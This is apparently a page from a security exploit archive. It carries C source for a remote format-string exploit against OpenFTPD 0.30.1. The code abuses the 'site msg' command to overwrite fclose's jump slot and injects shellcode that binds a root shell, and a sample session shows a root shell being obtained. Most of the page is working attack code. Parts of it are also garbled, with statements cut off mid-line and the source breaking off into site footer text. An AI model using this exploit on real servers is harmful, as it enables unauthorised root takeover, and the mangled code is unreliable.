OpenFTPD 0.30.1 message system Remote Shell Exploit


                        
/*
 * shouts to mitakeet :D
 *
 * exploit for openftpd format string bug. tested on most current version only.
 *  -infamous42md AT hotpop DOT com is real email
 *
 * only tricky part is find a place to stick the shell, as there isn't enough
 * room to send it with the format string.  thankfully when using the 'site msg'
 * commands, all of the args to command are passed directly through to the msg
 * program. so when we tell ftpd to read messages with 'site msg read X', we
 * pass the shellcode as X.  the jumpslot for fclose() gets hijacked, and the
 * retaddr lies early in stack, it's argv[3].
 * no values are hardcoded into sploit, all come from command line, this works
 * for me on slack 9:
 *
 * [n00b localho outernet] ./openf -u root -p "" -l 0x0804d8b8 -r 0xbffff9d4 -h
 * localho -o 6969 -a 2 -b 18
 * connected to localho
 * Logged in as root
 * Exploit sent
 * connected to localho
 * got a shell
 *
 * id
 * uid=0(root) gid=0(root)
 * groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
 *
 *  - Connection closed by user
 *
 *  Usage: ./openf
 *          [ -u user ] [ -p pass ] [ -l retloc ] [ -r retaddr ]
 *          [ -b parms base ] [ -h host ] [ -o port ] [ -a align ]
 *  
 * */
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define SLOP 8
#define NOP 0x90
#define BS 0x1000
#define SBS 512
#define SHELL_PORT 7000
#define die(x) do{ perror(x); exit(1); }while(0)

typedef struct __args {
    char *user, *pass;
    char *host;
    u_short port;
    u_long retloc, retaddr;
    int parms_base; /* distance to the dummy param */
    int align;
} args;

/* call them shell code */
char sc[] =
    "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
    "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
    "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
    "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
    "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
    "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
    "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

char *usage =
    "\t[ -u user ] [ -p pass ] [ -l retloc ] [ -r retaddr ]\n"
    "\t[ -b parms base ] [ -h host ] [ -o port ] [ -a align ]\n";

void parse_args(int argc, char **argv, args * argp)
{
    int c;

    while ((c = getopt(argc, argv, "a:u:p:l:r:b:h:o:")) != -1) {
        switch (c) {
        case 'a':
            if ((argp->align = atoi(optarg)) align > 3)
                goto pusage;
            break;
        case 'u':
            argp->user = optarg;
            break;
        case 'p':
            argp->pass = optarg;
            break;
        case 'l':
            sscanf(optarg, "%lx", &argp->retloc);
            break;
        case 'r':
            sscanf(optarg, "%lx", &argp->retaddr);
            break;
        case 'h':
            argp->host = optarg;
            break;
        case 'o':
            argp->port = atoi(optarg);
            break;
        case 'b':
            if ((argp->parms_base = atoi(optarg)) > 0)
                break;
            /*
             * fall thru 
             */
          pusage:
        case ':':
        case '?':
        default:
            fprintf(stderr, "Usage: %s\n%s", argv[0], usage);
            exit(1);
        }
    }
    if (optind != argc || !argp->user || !argp->pass || !argp->retloc ||
        !argp->retaddr || !argp->host || !argp->port || !argp->parms_base)
        goto pusage;
}

int conn(char *host, u_short port)
{
    int sock = 0;
    struct hostent *hp;
    struct sockaddr_in sa;

    memset(&sa, 0, sizeof(sa));

    hp = gethostbyname(host);
    if (hp == NULL) {
        herror("ghbn");
        die("bla");
    }
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock retloc, slop = 0;
    int dummy = argp->parms_base, len = 0;

    /* bytes printed before us */
    slop = SLOP + argp->align;

    /* ret addr */
    low = (argp->retaddr & 0xffff);
    high = argp->retaddr >> 16;

    /* adjust ret addr words */
    if (low > high)
        high += (0x10000 - low);
    else if (high > low)
        high -= low;
    else if (high == low) {
        fprintf(stderr, "Can't encode a NULL high retaddr, bailing\n"
                "high = %hx\tlow = %hx\n", high, low);
        die("adsf");
    }

    low -= slop;

    /* align */
    memset(fb, 'A', argp->align);
    fb[argp->align] = 0;

    /* write code 
     * fmt look like: 
     * ALIGN-write_code-dummy-addr1-addr2-low_retaddr-high_retaddr
     */
    sprintf(fb,
            /*   retL         writeL    retH         writeH */
            "%s" "%%%d$*%d$u" "%%%d$hn" "%%%d$*%d$u" "%%%d$hn",
            fb, dummy, dummy + 3, dummy + 1, dummy, dummy + 4, dummy + 2);

    /* args */
    strcat(fb, "1111");               /* dummy */
    len = strlen(fb);
    *(u_int *) (fb + len) = retloc;     /* write 1 */
    len += sizeof(retloc);
    *(u_int *) (fb + len) = retloc + 2; /* write 2 */
    len += sizeof(retloc);
    *(u_short *) (fb + len) = low;      /* ret low */
    *(u_short *) (fb + len + 2) = 0x0101;       /* can't be 0 */
    len += sizeof(retloc);
    *(u_short *) (fb + len) = high;     /* ret high */
    *(u_short *) (fb + len + 2) = 0x0101;       /* can't be 0 */
    len += sizeof(retloc);

    fb[len] = 0;
}

void sploit(args * argp, int sock)
{
    char buf[BS], fmt[BS], sb[BS];

    /* setup shell buf */
    memset(sb, NOP, BS);
    strncpy(sb + 100, sc, BS - 101);
    sb[BS - 1] = 0;

    get_fmt(argp, fmt);

    /* slip them the poison */
    snprintf(buf, BS - 1, "site msg send %s %s\r\n", argp->user, fmt);
    buf[BS - 1] = 0;
    if (send(sock, buf, strlen(buf), 0) 

 F-VNS Security Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits